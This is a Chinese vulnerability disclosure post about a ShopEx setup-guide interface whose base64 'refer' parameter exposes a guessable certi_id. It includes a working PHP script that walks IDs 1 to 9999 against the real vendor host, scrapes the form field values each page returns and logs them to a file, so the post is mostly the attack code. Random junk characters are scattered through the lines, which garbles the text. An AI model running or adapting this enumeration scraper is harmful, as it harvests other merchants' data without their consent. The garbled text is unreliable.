ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


' C9 I0 f/ V5 l' g1 f
# @2 X  |- A' d8 C& E' V  xhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

) X% G3 ~" B! H- H1 H2 `& w% g3 b

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% G2 C; y0 Z0 f4 I  N9 Z3 ^
; G3 N# J' @3 u) `, s& F$ B

6 M: ^8 x/ \5 U% A# ^我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. U1 ~- [: V5 q7 ^2 I; K! x

& |; i! U: S; O# u0 H/ W
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
# k4 u0 H  u  b: L; H
                        ShowshopExD($i);
; Z! W+ z$ S; y7 Y+ Q
                }
! h  [+ s" k% M: U' M; {+ u6 \$ q
4 Y3 W, p3 {! ~" p. j                function ShowshopExD($cid) {
- p( R& _$ f2 E+ S
3 ]' u' }2 [& S7 Y3 M) S3 T                $url='http://guide.ecos.shopex.cn/step2.php';

6 K5 |5 a# O6 j  @$ Y4 ^                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

* s4 G# W9 Y: w1 _1 h+ C        $url = $url.'?refer='.$refer;
/ |. o: _6 x4 p, A* w: ?
; D, W3 o6 ~$ i/ o        $ch = curl_init($url);

$ h) T, n$ J0 F6 I        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
, v6 O- Q4 H0 o  a' l# s
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

3 }% y/ U' o3 H/ Q$ Q- |: k        $result = curl_exec($ch);
2 i# m: e; v2 \: f# Y& q% C. `5 O
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

$ W' j0 N5 g' I7 ~- ]# B/ \        if(strpos($result,$refer))
+ h2 p0 C1 Q, n% S
        {
- \, b! d; O0 Q
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

7 |7 H+ e! B0 v0 |* y                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
9 `* ?5 a/ C0 r
                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
2 i! O* \0 j4 H% j- |' n5 E& M' b
                        fwrite($fp, $col, strlen($col));
; F. M: y' y4 ?7 i) G/ L2 z8 u
                }
* x& ]! g7 X# R( E6 i
                echo '--------------------------------'."\r\n";

                fclose($fp);

( d- l7 I# d2 t" C1 }3 [% B. n        }

        flush();
" B' Z9 Z, {! F. O
: B9 G1 o: b8 P' x* B8 B        curl_close($ch);

5 J" B/ e8 h7 w$ v                }

?>
5 B( y: X0 i4 p漏洞证明：
# P$ L+ U! G( i* Q0 jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
7 d" ^9 e! R4 V' n% L. y, _3 O